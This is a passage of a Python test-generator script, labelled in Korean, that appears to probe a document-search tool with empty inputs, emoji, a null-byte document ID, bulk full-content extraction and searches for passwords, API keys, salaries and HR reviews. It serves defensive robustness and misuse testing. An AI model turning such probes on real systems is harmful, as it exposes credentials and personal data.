| output.append(f"**C3-2** 모든 파라미터 빈 문자열 → {p['total']}건\n") | |
| r = await get_documents_batch(doc_ids=[]) | |
| p = json.loads(r) | |
| output.append(f"**C3-3** 빈 리스트 batch → {p['total']}건, 에러 {len(p['errors'])}건\n") | |
| r = await get_documents_batch(doc_ids=["", "", ""]) | |
| p = json.loads(r) | |
| output.append(f"**C3-4** 빈 문자열 x 3 → 성공 {p['total']}건, 에러 {len(p['errors'])}건\n") | |
| r = await full_text_search(query="") | |
| p = json.loads(r) | |
| output.append(f"**C3-5** 빈 fts → {p['total']}건\n") | |
| r = await get_statistics(group_by="") | |
| p = json.loads(r) | |
| output.append(f"**C3-6** 빈 group_by → {len(p['groups'])}개 그룹\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # C4: 특수문자 | |
| output.append("### C4: 특수문자 / 유니코드\n") | |
| for tid, q in [("C4-1","🔥🏨💰"),("C4-3","\\n\\r\\t"),("C4-5","\\\\\\\\")]: | |
| r = await search_documents(query=q) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `\"{q}\"` → {p['total']}건\n") | |
| r = await get_document(doc_id="PRD-🔥") | |
| p = json.loads(r) | |
| output.append(f"**C4-2** `PRD-🔥` → {summarize_doc(p)}\n") | |
| r = await search_documents(query="가" * 10000) | |
| p = json.loads(r) | |
| output.append(f"**C4-4** 1만 글자 → {p['total']}건\n") | |
| r = await get_document(doc_id="PRD-001\x00") | |
| p = json.loads(r) | |
| has_error = "error" in p | |
| output.append(f"**C4-6** null byte → error: {has_error}") | |
| normal = await get_document(doc_id="PRD-001") | |
| np_ = json.loads(normal) | |
| output.append(f", 정상 PRD-001: {'✅' if 'error' not in np_ else '❌'}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # C5: 대량 추출 | |
| output.append("### C5: 대량 추출 시도\n") | |
| total_all = 0 | |
| for cat in ("prd", "ac", "ab", "research", "nng", "baymard", "dovetail"): | |
| r = await list_documents(category=cat, limit=10) | |
| p = json.loads(r) | |
| total_all += p["total"] | |
| output.append(f"- {cat}: {p['total']}건\n") | |
| output.append(f"\n**C5-1** 7개 카테고리 합계: **{total_all}건**\n") | |
| ids = [f"PRD-{i:03d}" for i in range(1, 21)] | |
| r = await get_documents_batch(doc_ids=ids, fields="full") | |
| p = json.loads(r) | |
| output.append(f"**C5-2** PRD 20개 batch full → {p['total']}건, 모두 content 포함: {'✅' if all('content' in d for d in p['results']) else '❌'}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # C6: 민감 정보 | |
| output.append("### C6: 민감 정보 탐색\n") | |
| for tid, q in [("C6-1","비밀번호"),("C6-2","전화번호"),("C6-3","연봉"),("C6-4","API key"),("C6-5","password"),("C6-6","인사평가")]: | |
| r = await full_text_search(query=q) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**") | |
| if p["total"] > 0: | |
| output.append(f" — 첫 snippet: _{p['results'][0].get('snippet','')[:60]}_") | |
| output.append("\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| return "\n".join(output) | |
| async def main(): | |
| print("Use Case 평가 파일 생성 중...") | |
| usecase = await generate_usecase_evaluation() | |
| with open("docs/usecase-evaluation.md", "w") as f: | |
| f.write(usecase) | |
| print(f"✅ docs/usecase-evaluation.md ({len(usecase)} bytes)") | |
| print("Anti-Persona 평가 파일 생성 중...") | |
| anti = await generate_anti_persona_evaluation() | |
| with open("docs/anti-persona-evaluation.md", "w") as f: | |
| f.write(anti) | |
| print(f"✅ docs/anti-persona-evaluation.md ({len(anti)} bytes)") | |
| if __name__ == "__main__": | |
| asyncio.run(main()) | |